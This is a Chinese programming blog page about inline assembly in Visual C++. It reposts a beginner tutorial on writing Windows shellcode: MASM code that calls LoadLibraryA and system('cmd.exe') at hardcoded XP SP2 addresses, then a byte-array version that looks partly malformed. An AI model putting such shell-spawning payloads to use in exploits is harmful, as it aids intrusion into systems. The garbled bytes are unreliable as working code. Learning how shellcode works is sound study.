用VC写Assembly代码(5) --函数调用(三)

VC9 32位运行库完整安装指南:解决DLL缺失与系统兼容性问题 动态链接库(DLL)是Windows系统中实现代码共享的核心机制,程序通过动态链接调用共享库函数以减小体积。然而,DLL版本冲突曾导致著名的“DLL地狱”问题。微软引入Side-by-Side Assembly技术,通过清单文件和WinSxS目录实现多版本库共存,从而解决了这一难题。Visual C++运行库作为典型的SxS程序集,为C++程序提供必要的运行时支持。其中,VC9(Visual C++ 2008)运行库因其稳定的ABI接口,至今仍是许多老旧系统和行业软件(如工控软件、经典游戏)的必备组件。在W 阅读详情

没什么好说的啦,看代码就是啦

#include <windows.h>

void main()
{
 char *a = (char*)MessageBox;
 __asm
 {
  push 0
  push 0
  push 0
  push 0
  mov ebx, 77d5050bh
  call ebx
 }
 printf("%0x/n", a);
} 

顺便转一篇有关SHELLCODE的文章,看起来很简单,但是测试就是不成功.先看看再说.

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

说起ShellCode的编写,那可是一门大学问.本人愚笨,费了好大劲才理解缓冲区溢出的概念.ShellCode可是一次成功的攻击的必不可少的东东,拜读过许多前辈的文章,加上亲身试验,于是有了这么一篇文章.

首先应该有个样本程序,好把ShellCode从中提取出来,要注意的是各个函数的调用都应该用直接Call 函数地址,也就是用C++里面的函数指针,取得各个函数的地址可以先用GetProcAddress()函数取得,并且各个系统里面函数地址也不相同.本来想偷个懒用VC写的,可是发现自己没装VC(晕倒~~~)  那还是用汇编写吧

这个程序首先是LoadLibraryA(msvcrt.dll),然后system(cmd.exe),听起来很简单吧,写起来也很简单

.386
.model flat,stdcall
option casemap:none

.data


.code

start:
    ;LoadLibraryA("msvcrt.dll")
    push ebp
    mov ebp,esp
    push eax
    push eax
    push eax

    mov eax,4356534Dh
    mov dword ptr[ebp-0Ch], eax
    mov eax,442E5452h
    mov dword ptr[ebp-08h], eax
    mov byte ptr[ebp-04h],4Ch
    mov byte ptr[ebp-03h],4Ch
   
    ;我的系统是XP SP2 MSDN版  相关的函数地址也就是这个版本的 
    lea eax,[ebp-0Ch]
    push eax
    mov edx,7C801D77h
    call edx
   

    ;system(cmd.exe)
    push ebp
    mov ebp, esp
    sub esp, 0Ch
   
    mov eax, 2E444D43h
    mov dword ptr [ebp-08h], eax
    mov byte ptr [ebp-04h], 45h
    mov byte ptr [ebp-03h], 58h
    mov byte ptr [ebp-02h], 45h
   
   
    xor edx, edx
    mov byte ptr [ebp-1h], dl
    lea eax, dword ptr [ebp-08h]
    push eax
    mov eax, 77BF93C7h
    call eax
   
    ;ExitProcess(0)
    push 0
    mov eax,7C81CDDAh 
    call eax
   

end start

哈哈,挺简单吧,用MASM编译链接.运行一下  一个可爱的CMD.exe打开了.最后一步提取就更简单了,用调试器查看机器码,抓紧写吧   哈哈   这不 出来了

unsigned char shellcode[]=
"/x55/x8B/xEC/x50/x50/x50/xB8/x4D/x53/x56/x43/x89/x45"
"/xF4/xB8/x52/x54/x2E/x44/x89/x45/xF8/xC6/x45/xFC"
"/x4C/xC6/x45/xFD/x4C/x8D/x45F4/x50/xBA"
"/x77/x1D/x80/x7C" //Address of LoadLibraryA in WinXPSP2
"/xFF/xD2/x55/x8B/xEC/x83/xEC/x0C/xB8/x43/x4D/x44/x2E"
"/x89/x45/xF8/xC6/x45/xFC/x45/xC6/x45/xFD/x58/xC645/xFE"
"/x45/x33/xD2/x88/x55/xFF/x8D/x45/xF8/x50/xB8"
"/xC7/x93/xBF/x77" //Address of system in WinXPSP2
"/xFF/xD0";

这个简单的ShellCode虽然很简单也不实用,但是学习就是要一步一个脚印,有浅至深,这算是在这里记一笔我这几天的一点学习内容.

Windows 7环境下VC2005安装与运行库配置完整指南 VC2005 或许已经老去,但它承载的技术遗产仍在影响今天的世界。我们不需要抛弃它,而是要学会如何与它共存。一套完整的解决方案应包括:✅ 自动检测✅ 智能安装✅ 日志审计✅ 兼容加固✅ 渐进迁移这才是真正的工程思维:既尊重历史,也面向未来。所以,下次当客户说“我这儿打不开你的程序”,你可以微微一笑,掏出那个绿色图标的小工具,轻轻一点——“好了,试试看。😎💻✨本文还有配套的精品资源,点击获取。 阅读详情

相关推荐

Camera 基础知识

Raw Sensor输出的Data格式为Raw,图像的效果处理使用BB端的ISP,BB端接收Raw data后进行一系列的图像处理(OB,Shading,AWB,Gamma,EE,ANR等),效果方面由BB端控制,需要针对不同的模组进行效果调试,Raw sensor是目前的主流,数据量比YUV Sensor小(RAW10 格式的sensor 1个pixel 10个bit)使用平台ISP处理,能支持较大的size。不过,相位对焦并不是那么完美,它对光线的要求就比较高,在弱光拍摄环境下,相位对焦就无能威力了。

手机-手表蓝牙开发工程师的博客 3064

模拟开关/多路复用器(CH442E)

CH442E 是 DPDT 低阻宽带双向模拟开关芯片。CH442E 包含 2 通道 SPDT 单刀双掷模拟开关,高带宽,低导通电阻,可以用于视频或者 USB 信号二选一切换。

CHtime的博客 1万+

数据标注工具:AiLabel.js实现标注 超详细教程 案例分享

背景:在前端开发过程中难免遇到针对图片的缩放平移;以及在图片上进行矢量数据、文本、标注的展示;如果你有上面的任何需求,恭喜你,找到组织了.... 在此背景下,AILabel.js出生了。 前面文章我们已经介绍过AiLabel.js了; https://blog.youkuaiyun.com/u012967771/article/details/113148527 npm下载地址:https://www.npmjs.com/package/ailabel github地址:https://github.com/d.

前端互助会 9365

pwm/串口多路复用电路

最近在做的一个项目需要通过typec一键下载程序,同时在芯片正常工作的时候能使用复用串口,故设计以下电路,采用的串口下载电路为CH340x免外设方案,使用的mcu为AT32F421C8T7,正常工作状态下mcu下载口复用为电机六路pwm的其中两相输出,串口复用到另外两路PB6,PB7上,根据AT32F4手册可以看到串口下载引脚是唯一的,也就是。这里需要注意芯片电平,CH443E是支持5v-2.8V供电的,但是由于#IN引脚使用了BOOT0来使能,这里建议使用3v3电平供电。

qq_36047236的博客 1134

trae CN 配置ida的mcp教程

本文介绍了在TraeCN中配置IDA Pro MCP服务的完整步骤:1)准备IDA Pro 9.0+和Python 3.11+环境;2)安装MCP服务端并配置插件;3)生成MCP配置文件;4)在TraeCN中添加HTTP类型MCP服务(默认端口13337);5)测试连接。重点说明了HTTP配置方式的操作流程,包括手动启动服务、正确填写JSON配置等关键环节。

2401_87915504的博客 1957

STM32新手必看:3分钟搞定ST官网资料下载(附F0系列手册+外设库下载技巧)

本文为STM32开发新手提供高效获取ST官网技术资料的完整指南,重点介绍如何快速下载STM32F0系列数据手册和外设库。通过系统性的资源分类解析和实用下载技巧,帮助开发者快速定位所需文档,建立本地知识库,提升开发效率。

ujm5678901的博客 270

WCH沁恒 CH442E MSOP10 模拟开关

5V开关芯片支持额定5V电源电压(5V~2.5V控制信号),低 至2.5V 电源可用;3.3V开关芯片支持额定3.3V电源电压(3.3V~2.5V控制信号),低至 1.8V 电源可用。● CH440/CH442/CH444/CH445/CH448 提供全局使能引脚,多通道模拟开关统一使能、统一切换。● 提供SOP16、TSSOP16、QFN16、QFN24、MSOP10 和 SOT363等封装形式,兼容RoHS。● CH448控制信号独立于电源电压,支持5V、3.3V、2.5V控制信号。

icgogo的博客 383

Qt入门教程【环境搭建篇】Qt6+Mingw+QMake+QtCreator

Qt Windows平台安装

小鱼酱的博客 2万+

用VC写Assembly代码(6)--附录2[windows进程中的内存结构]

在阅读本文之前,如果你连堆栈是什么多不知道的话,请先阅读文章后面的基础知识。 接触过编程的人都知道,高级语言都能通过变量名来访问内存中的数据。那么这些变量在内存中是如何存放的呢?程序又是如何使用这些变量的呢?下面就会对此进行深入的讨论。下文中的C语言代码如没有特别声明,默认都使用VC编译的release版。 首先,来了解一下 C 语言的变量是如何在内存分部的。C 语言有全局变量(Global)、本

小发猫 2484

ABAP CDS HAVING 全解析:聚合之后的精准过滤、最佳实践与可运行示例

摘要: 本文针对具备ABAP与CDS基础的开发者,详解HAVING在ABAP CDS中的核心用法。HAVING专用于过滤GROUP BY后的聚合结果(如SUM、COUNT),与WHERE的分工明确:前者处理聚合值,后者过滤原始记录。通过销售额阈值、质量分析、财务对账三类典型场景,结合性能优化建议(如优先使用WHERE索引过滤),说明实际应用。文中提供经典CDS View与View Entity两种实现代码,并附Open SQL消费示例,帮助开发者快速落地。常见误区(如聚合条件误写至WHERE)与规避方法亦被

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 225

9.9华为OD机试真题 新系统 - 受限任务分配 (Java/Py/C/C++/Js/Go)

华为OD机试真题 新系统【受限任务分配】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD机试真题 【受限任务分配】多语言题解。

qq_45776114的博客 738

[原创]在 Visual C++ 中使用内联汇编

一、 优点    使用内联汇编可以在 C/C++ 代码中嵌入汇编语言指令,而且不需要额外的汇编和连接步骤。在 Visual C++ 中,内联汇编是内置的编译器,因此不需要配置诸如 MASM 一类的独立汇编工具。这里,我们就以 Visual Studio .NET 2003 为背景,介绍在 Visual C++ 中使用内联汇的相关知识(如果是早期的版本,可能会有些许出入)。    内联汇编代

Yonsm.NET 2222

OV5645摄像头原理图设计,已量产

在嵌入式视觉项目里,摄像头小板真正决定量产稳定性的,往往不是把传感器接出来这件事本身,而是电源域有没有拆清、参考时钟够不够干净、主板调试时有没有留出可落地的接口。ATK-MC5645 这张原理图的价值,就在于它没有把 OV5645 裸接到一排连接器上,而是把 AFVDD_2V8、DOVDD_1V8、DVDD_1V5、24MHz 时钟和 MIPI/控制信号都收敛在一块独立模组上。

不脱发的程序猿 339

用VC写Assembly代码

各位好,最近我在研究SHELLCODE 的编写,因为需要ASM的基础,所以用VC写一些ASM代码.有兴趣的朋友可以一起讨论.我们都欢迎你. 用VC写Assembly代码(1) 用VC写Assembly代码(2) 用VC写Assembly代码(3)  用VC写Assembly代码(4) 用VC写Assembly代码(5) --字符串 用VC写Assem

小发猫 4101

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

用VC写Assembly代码(5) --函数调用(一)

用C写一个加载msvcrt.dll的方法如下:#include #include void main(){  char *msvcrt = "msvcrt.dll";  HINSTANCE h = LoadLibrary(msvcrt);}反汇编得到的代码是:5:    #include 6:    #include 7:8:    void main()9:    {0040B4B0 55   

小发猫 2680

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

用VC写Assembly代码(5) --函数调用(二)

终于知道如何用LoadLibrary,但不知为什么!我自己写的例子是:#include int main(int argc, char* argv[]){  char *msvcrt = "msvcrt.dll";  __asm  {    mov eax, msvcrt    push eax    call dword ptr[LoadLibrary]  }  return 0;}哎,

小发猫 2029

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

用VC写Assembly代码(3)

不知为什么,对这种编程方法越来越大越有兴趣.先写个使用参数的例子(十分简单,适用于任何懂C的人)给各位参考一下吧:#include int asm(int s){ int t=0; __asm {  mov eax, DWORD PTR [ebp+8] ;把s的值传给eax  mov t, eax     ;把eax的值传给t } printf("- %d -", t);//把T显示出来}

小发猫 2456

用VC写Assembly代码(5) --字符串

是有几个朋友也喜欢这种编城方法的,前几天听我一个朋友说:"真正的高手是懂C,而不是C++",想想也是.几乎所有代码最后还是有汇编代码组成的,只是效率的问题,汇编和机器语言11对应,这使汇编可以叫机器做机器能做的所有事.所以学好汇编对任何高级语言的理解很有好处.希望编程爱好者也能学习.没事做, 写了短字符串处理的代码:#include #include int main(int ar

小发猫 2961

用VC写Assembly代码(5) --一些宏的使用(二)

目前我知道vc++ inline assembler 有这几个宏 LENGTH、SIZE、TYPE,他们使用简单,下面个个例子:void main(){ int k[10]; int a,b,c; __asm {  mov eax, LENGTH k  mov ebx, SIZE k  mov ecx, TYPE k  mov a, eax  mov b, ebx  mov c, ecx } 

小发猫 2328

用VC写Assembly代码(5) --循环的使用(一)

如果用C语言写循环,很简单,用for,while之类的语句就可以实现,但inline assembler就有点难,刚开始有点迷失,但找了下资料,现在会用了,先看个例子吧:#include void myfun(){ printf("aaaaaaaa/n");}void main(){ __asm {  mov ecx, 10  ttttt:  push ecx  call myfun  p

小发猫 2153

vc调用c#写的dll

转自:http://www.codeproject.com/csharp/ManagedCOM.asp   Download source - 5.21 Kb Preface COM Interoperability is the

wangsheng8888的专栏 2035

用VC写Assembly代码(6)--附录1[堆和栈的区别]

堆和栈的区别一、预备知识—程序的内存分配一个由c/C++编译的程序占用的内存分为以下几个部分1、栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等。其操作方式类似于数据结构中的栈。2、堆区(heap) — 一般由程序员分配释放, 若程序员不释放,程序结束时可能由OS回收 。注意它与数据结构中的堆是两回事,分配方式倒是类似于链表,呵呵。3、全局区(静态区)(static)

小发猫 2491

VC6.0 编译常见错误

 VC6.0编译常见错误第一部分 语法错误1、变量没有区分大小写    例如:变量X 与x 不同;2、关键字写错   例如:void 写成了viod等,cout写成count等3、把英文符号写成了中文符号   例如:常见的错误包括单引号、双引号、分号等4、混肴了“=”与“==”的区别5、复合语句没有使用{ }6、把“x>5 && x”写成“5” 

jianbisb的专栏 1393

VC2008 下 R6030错误

REF 一个解决方法,实验通过 #pragma comment(linker, "\"/manifestdependency:type='Win32' name='Microsoft.VC90.CRT' version='9.0.21022.8' processorArchitecture='X86' publicKeyToken='1fc8b3b9a1e18e3b' language='*'

lcmssd 2075

VC Studio 使用技巧大全

VC Studio 使用技巧大全 2.0版本   这是我网上东抓一条西抓一条,看起来真累,再加上一些自已的心得,所以今天再次进行整理出来与大家分享!  黄森堂(vcmfc). 1.检测程序中的括号是否匹配   把光标移动到需要检测的括号(如大括号{}、方括号[]、圆括号()和尖括号 2.查看一个宏(或变量、函数)的宏定义   把光标移动到你想知道的一个宏上,就比如说最常见的DEC

沙狼的博客 853

Resolve Partial Assembly 为 Microsoft.VC90.ATL 失败。引发蓝屏

今早刚到公司,就听到同事报故障,说开机后3-5分钟就蓝屏。 还是老规矩,查看下系统日志,吓一跳。 截图如下: 这么多啊,一地的鸡皮疙瘩,进去看下。 在看下,原来如此啊。如图 原来是暴风影音在作怪,没办法,早上好事情比较多,工作要紧,只能先卸载了。 随后在网上查了一下,有人说删掉dll文件、也有人说是版...

weixin_34004750的博客 529
上一篇: Why Learning Assembly Language is Still a Good Idea
下一篇: [强]用VC++6.0编译调试汇编程序
普通网友
博客等级 码龄22年 1万+粉丝 3156原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值